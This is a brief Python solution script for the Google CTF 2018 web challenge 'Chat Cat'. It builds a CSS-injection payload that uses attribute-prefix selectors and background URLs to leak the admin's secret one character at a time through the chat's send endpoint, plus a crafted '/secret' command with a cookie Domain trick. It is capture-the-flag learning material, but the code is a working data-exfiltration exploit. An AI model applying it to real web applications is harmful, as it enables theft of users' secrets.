Solution for Google CTF 2018 Web Challenge - Chat Cat

save_the_dogs.py

#!/usr/bin/env python3

import sys
from itertools import combinations_with_replacement as comb

alpha = 'abcdefghijklmnopqrstuvwxyz'
alpha += alpha.upper() + '0123456789_'


def gen(l):
    return 'span[data-secret^={}]{{background: url(send?name=admin&msg={}); }}'.format(l, replace(l))


def replace(text):
    return text.replace('\\', '').replace('{', '')


def guess(head=''):
    return ' '.join(map(lambda x: gen(head + ''.join(x)), alpha))


payload = '/name foo ] {color:blue; background:url(send?name=admin&msg=/secret foo; Domain=bar);}'
final_payload = payload + ' ' + guess(sys.argv[1])
print(final_payload)